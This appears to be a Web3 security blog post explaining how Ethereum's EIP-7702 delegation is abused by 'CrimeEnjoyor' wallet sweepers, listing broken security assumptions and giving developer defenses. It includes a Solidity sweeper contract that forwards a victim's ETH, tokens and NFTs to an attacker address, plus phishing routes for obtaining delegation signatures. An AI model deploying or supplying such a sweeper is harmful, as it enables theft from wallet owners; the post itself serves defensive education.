DEV Community

ohmygod
ohmygod

Posted on

EIP-7702 and the CrimeEnjoyor Epidemic: How Ethereum's Account Abstraction Upgrade Became an Attacker's Dream

When Ethereum's Pectra upgrade went live on May 7, 2025, it brought EIP-7702 — a powerful mechanism that lets Externally Owned Accounts (EOAs) temporarily delegate their execution to smart contracts. The promise was revolutionary: transaction batching, gas sponsorship, social recovery, and a smoother UX for everyday users.

The reality? Within weeks, over 80% of EIP-7702 delegations were pointing at malicious contracts. The most notorious among them — a copy-paste sweeper dubbed "CrimeEnjoyor" — has been draining wallets automatically, sweeping ETH, ERC-20s, and NFTs the instant they arrive.


How EIP-7702 Delegation Actually Works

Before Pectra, EOAs were simple: a private key signs transactions, and the blockchain executes them. No code associated with an EOA.

EIP-7702 changes this fundamentally. An EOA can now store a delegation designator in its code field:

EOA Code Field: 0xef0100 + <delegate_contract_address>
Enter fullscreen mode Exit fullscreen mode

The delegation is established through an authorization tuple:

struct Authorization {
    uint256 chainId;     // 0 = valid on ALL chains
    address codeAddress; // the delegate contract
    uint256 nonce;       // replay protection
}
Enter fullscreen mode Exit fullscreen mode

The Critical Detail Everyone Missed

The authorization signature is off-chain. Anyone can submit the authorization tuple on behalf of the user. This means:

  1. A user signs what looks like a routine message
  2. An attacker submits the authorization as part of their own transaction
  3. The victim's EOA is now delegated to attacker-controlled code
  4. The original private key still works, but every interaction routes through the malicious delegate

The CrimeEnjoyor Attack Chain

Phase 1: Compromise

The attacker obtains the victim's private key or tricks them into signing a delegation authorization via:

  • Phishing sites presenting EIP-7702 auth as a "sign in" request
  • Malware extracting keys from browser wallets
  • Social engineering via Discord/Telegram

Phase 2: Delegate and Deploy

contract Sweeper {
    address immutable ATTACKER = 0xdead...;

    receive() external payable {
        payable(ATTACKER).transfer(msg.value);
    }

    function drainAll(
        IERC20[] calldata tokens,
        IERC721[] calldata nfts,
        uint256[] calldata ids
    ) external {
        payable(ATTACKER).transfer(address(this).balance);
        for (uint i = 0; i < tokens.length; i++) {
            uint256 bal = tokens[i].balanceOf(address(this));
            if (bal > 0) tokens[i].transfer(ATTACKER, bal);
        }
        for (uint i = 0; i < nfts.length; i++) {
            nfts[i].transferFrom(address(this), ATTACKER, ids[i]);
        }
    }
}
Enter fullscreen mode Exit fullscreen mode

Phase 3: Persistent Drainage

Unlike a one-time approval exploit, the delegation persists. Any future deposits are automatically swept — they arrive and leave in the same block.


Five Broken Security Assumptions

1. tx.origin == msg.sender Is Dead

// THIS IS NOW BROKEN
require(tx.origin == msg.sender, "No contracts");
Enter fullscreen mode Exit fullscreen mode

Post-7702, a delegated EOA executes contract code while tx.origin == msg.sender. Zero protection against flash loans.

2. isContract() Is Meaningless

A delegated EOA has code. A revoked one doesn't. The binary distinction is gone.

3. safeTransferFrom Can Fail

ERC-721's callback check treats delegated EOAs as contracts. Missing onERC721Received = reverted transfers.

4. chainId = 0 = Cross-Chain Replay

One signature, delegation active on Ethereum, Arbitrum, Base, Optimism — everywhere.

5. Storage Collisions During Redelegation

Without ERC-7201 namespacing, switching delegates corrupts state.


Developer Defense Playbook

Replace tx.origin checks

import {ReentrancyGuard} from "@openzeppelin/contracts/utils/ReentrancyGuard.sol";

contract MyProtocol is ReentrancyGuard {
    function sensitiveFunction() external nonReentrant {
        // actual logic
    }
}
Enter fullscreen mode Exit fullscreen mode

Use ERC-7201 storage namespacing

bytes32 constant STORAGE_SLOT = keccak256(
    abi.encode(uint256(keccak256("myprotocol.storage.main")) - 1)
) & ~bytes32(uint256(0xff));
Enter fullscreen mode Exit fullscreen mode

Detect delegated EOAs

function protectedAction() external {
    if (hasCode(msg.sender) && tx.origin == msg.sender) {
        require(msg.value <= MAX_DELEGATED_VALUE, "Delegation limit");
    }
}
Enter fullscreen mode Exit fullscreen mode

For Wallets

  • Display delegation details prominently
  • Implement transaction simulation
  • Add one-click revocation

For CEXs

  • Trace deposit transactions for redirected funds
  • Monitor EOA code fields for unexpected delegation

The Bottom Line

EIP-7702 killed the EOA/contract distinction. If your protocol was deployed before May 2025 and hasn't been re-audited for EIP-7702 compatibility, you have a ticking time bomb.

DreamWork Security — weekly deep dives into Web3 security.

Top comments (0)